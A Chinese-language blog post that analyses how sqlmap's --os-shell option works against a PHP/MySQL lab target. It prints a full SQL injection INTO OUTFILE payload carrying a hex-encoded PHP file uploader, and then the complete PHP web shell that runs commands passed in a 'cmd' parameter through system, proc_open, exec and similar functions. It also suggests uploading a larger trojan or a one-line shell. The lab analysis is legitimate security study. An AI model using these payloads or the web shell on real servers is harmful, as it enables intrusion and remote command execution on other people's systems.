sqlmap os shell解析
0x00 Background
最近遇到测试环境,最后利用sqlmap的--os-shell参数取得shell。一直以来,对这个参数的工作原理不是十分的清晰。大致的思想应该是将脚本插入到数据库中,然后生成相应的代码文件,获取shell即可执行命令。
0x01 Environment
本环境是在局域网下利用两台主机搭建的,环境比较真实。
攻击机:
系统:windows7
工具:sqlmap
靶机:
系统:windows7
环境:wamp搭建的apache、mysql和php
网页源码:phpmywind,此处修改了点源代码,方便进行测试。
0x02 Attack demo
(1)环境测试
url:192.168.0.166/php/newsshow.php?cid=4&id=11
截图:
(2)攻击
python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell
(3)选择语言
sqlmap默认为php,此处根据需求选择。
(4)输入绝对路径
此处因为用wamp搭建,并安装在c盘下。所以选择2选项,输入路径为c:/wamp/www
(5)建立os-shell并执行命令
0x03 Analysis
(1)抓包
利用wireshark进行抓包
(2)第一个url分析
http://192.168.0.166/php/newsshow.php?cid=4&BWGH%3D3922 AND 1%3D1 UNION ALL SELECT 1%2C2%2C3%2Ctable_name FROM information_schema.tables WHERE 2>1-- ..%2F..%2F..%2Fetc%2Fpasswd
url解码
http://192.168.0.166/php/newsshow.php?cid=4&BWGH=3922 AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd
这条语句我认为对于os-shell并没有实际性的作用。
(3)插入数据
3.1解析into outfile
http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616%3D3616 LIMIT 0%2C1 INTO OUTFILE '%2Fwamp%2Fwww%2Ftmpulujm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- -
解析url(除16进制字符)
http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616=3616 LIMIT 0,1 INTO OUTFILE '/wamp/www/tmpulujm.php' LINES TERMINATED BY 0x...
解释:select * from * limit 0,1 into outfile '/wamp/www/tmpulujm.php'的意思是将内容输入到outfile中。
LINES TERMINATED BY则是into outfile的参数,意思是行结尾的时候用by后面的内容,通常的一般为‘/r/n’,此处我们将by后的内容修改为后面的16进制的文件。
解析16进制文件
如上图,16进制转换为字符串为:
`
转换后的代码
sqlmap file uploader
to directory: ";}?>
格式请自行调整
`
显然,16进制为php代码。
先访问以下tmpulujm.php
此处主要实现了向服务器传输文件的一个功能。此处简单看下上述文件php语句进行分析。
实现的就是上传文件,同时根据phpversion,将上传的文件的权限进行修改。学习到一点就是4.1.0的版本下,可直接执行。
(4)执行命令
现在我们已经可以上传文件了,但是仔细考虑一下,sqlmap是提供一个os-shell,我们现在只分析到了可以上传文件的步骤。那接下来,还需要在抓取的数据中进行分析。
在分析数据包中,我看到一个post数据包,从content中看到此数据包是实现了上传一个类似于cmd的一个php文件。
从上图可以看到,利用tmpulujm.php上传了一个tmpbtfgo.php的文件。将tmpbtfgo.php的内容截取出来,得到了一段php代码。格式请自行调整。
<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
$z=@ini_get('disable_functions');
if(!empty($z))
{
$z=preg_replace('/[, ]+/',',',$z);
$z=explode(',',$z);
$z=array_map('trim',$z);}
else
{
$z=array();
}
$c=$c." 2>&1\n";
function f($n)
{global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f('system'))
{ob_start();
system($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('proc_open')){
$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
$w=NULL;
while(!feof($t[1])){
$w.=fread($t[1],512);
}
@proc_close($y);
}
elseif(f('shell_exec')){
$w=shell_exec($c);
}
elseif(f('passthru')){
ob_start();
passthru($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('popen')){
$x=popen($c,r);
$w=NULL;
if(is_resource($x)){
while(!feof($x)){
$w.=fread($x,512);
}
}
@pclose($x);
}elseif(f('exec')){
$w=array();
exec($c,$w);
$w=join(chr(10),$w).chr(10);
}else{
$w=0;
}
print "</pre>".$w."</pre>";?>'''
上述代码实现了os-shell得到了命令后,如何执行命令以及输出执行结果到os-shell中。
因此我们可以在os-shell中执行命令。
0x04 os-shell的使用
通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理。
很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
此处对于中小型企业,如果自己搭建的服务器,例如直接用wamp或者phpnow等快捷方式搭建的服务器,基本上可以满足以上三个条件。
同时,对于os-shell的用法,很多的小伙伴会吐槽,都他么能上传了,还搞jb的os-shell了。对的,我们可以直接上传大马进行下一步的工作。当然亦可以上传一句话,然后利用菜刀进行连接。
此处只是对sqlmap工作原理进行了一顿分析。至于利用方式以及攻击手段,当然有很多种,自行发散思维即可。接下来的工作是直接看下sqlmap的源码,才能理解的更为深刻。
sqlmap os shell解析的更多相关文章
- shell解析命令行的过程以及eval命令
本文说明的是一条linux命令在执行时大致要经过哪些过程?以及这些过程的大致顺序. 1.1 shell解析命令行 shell读取和执行命令时的大致操作过程如下图: 以执行以下命令为例: echo -e ...
- 使用shell解析脚本依赖关系,并自动补数
将脚本依赖关系放到表中 使用shell解析脚本依赖关系,递归的计算各个脚本. #!/bin/bash # dm 补数 basepath=$(cd ``; pwd) cd $basepath sourc ...
- (转)shell解析命令行的过程以及eval命令
shell解析命令行的过程以及eval命令 本文说明的是一条linux命令在执行时大致要经过哪些过程?以及这些过程的大致顺序. 1.1 shell解析命令行 shell读取和执行命令时的大致操作过 ...
- shell专题(二):Shell解析器
(1)Linux提供的Shell解析器有: [atguigu@hadoop101 ~]$ cat /etc/shells /bin/sh /bin/bash /sbin/nologin /bin/da ...
- v72.01 鸿蒙内核源码分析(Shell解析) | 应用窥伺内核的窗口 | 百篇博客分析OpenHarmony源码
子曰:"苟正其身矣,于从政乎何有?不能正其身,如正人何?" <论语>:子路篇 百篇博客系列篇.本篇为: v72.xx 鸿蒙内核源码分析(Shell解析篇) | 应用窥视 ...
- Linux 命令详解(十一)Shell 解析 json命令jq详解
前言 在自动化部署中涉及到shell脚本需要动态读取很多配置文件,最好是json格式. 更多jq信息: http://stedolan.github.io/jq/manual/ 一.根据key获取va ...
- win环境下使用sqlmap写shell + MYSQL提权(默认就是system权限)
今天在来一个mysql提权 (也可以说是默认system权限提的) 在被黑站点找到一个站 先教拿shell是有注入漏洞的 有可能是root权限的注入点 可以确定是有注入漏洞的 也得到了 物理路径 ...
- meteor 命令文件shell 解析
#!/bin/bash # This is the script that we install somewhere in your $PATH (as "meteor")# wh ...
- unix shell 解析 1
---- shell 1 testdb3:/home/oracle [pprod] >more /home/oracle/utility/macro/tns_log_back_12c.sh #! ...
随机推荐
- MyBatis框架的使用及源码分析(二) 配置篇 SqlSessionFactoryBuilder,XMLConfigBuilder
在 <MyBatis框架中Mapper映射配置的使用及原理解析(一) 配置与使用> 的demo中看到了SessionFactory的创建过程: SqlSessionFactory sess ...
- redis cluster以及master-slave在windows下环境搭建
一.redis cluster环境搭建: 1.了解Redis Cluster原理: 详细了解可参考:http://doc.redisfans.com/topic/cluster-tutorial.ht ...
- c# “XXX::Invoke”类型的已垃圾回收委托进行了回调。这可能会导致应用程序崩溃、损坏和数据丢失。向非托管代码传递委托时,托管应用程序必须让这些委托保持活动状态,直到确信不会再次调用它们。
症状描述如下: 如果将一个委托作为函数指针从托管代码封送到非托管代码,并且在对该委托进行垃圾回收后对该函数指针发出了一个回调,则将激活 callbackOnCollectedDelegate 托管调试 ...
- 【BZOJ5010】【FJOI2017】矩阵填数 [状压DP]
矩阵填数 Time Limit: 10 Sec Memory Limit: 128 MB[Submit][Status][Discuss] Description 给定一个 h*w 的矩阵,矩阵的行 ...
- 【NOIP】提高组2012 借教室
[算法]线段树||二分+前缀和 [题解]线段树记录区间加值和区间最大值. #include<cstdio> #include<algorithm> using namespac ...
- 【洛谷 P3809】 【模板】后缀排序
题目链接 先占个坑,以后再补. \(SA\)的总结肯定是要写的. 等理解地深入一点再补. #include <cstdio> #include <cstring> const ...
- ASP.NET 设置DropDownList的当前选项
1.通过显示字符Text DropDownList.Items.FindByText("你的值").Selected=true; 如果在设置之前,进行过设置,应用如下格式: Dro ...
- poj 1797
2013-09-08 09:48 最大生成树,输出生成树中最短的边儿即可 或者对边儿排序,二份答案+BFS判断是否1连通N 时间复杂度都是O(NlogN)的 附最大生成树pascal代码 //By B ...
- 区块链~Merkle Tree(默克尔树)算法解析~转载
转载~Merkle Tree(默克尔树)算法解析 /*最近在看Ethereum,其中一个重要的概念是Merkle Tree,以前从来没有听说过,所以查了些资料,学习了Merkle Tree的知识,因为 ...
- java===java基础学习(1)---数据类型,运算,变量,常量
今天起开始了java的学习之路,主要学习了数据类型和运算,变量,常量.基本和python有很多相通的地方,所以看起来很容易上手.下面是学习笔记! package testbotoo; public c ...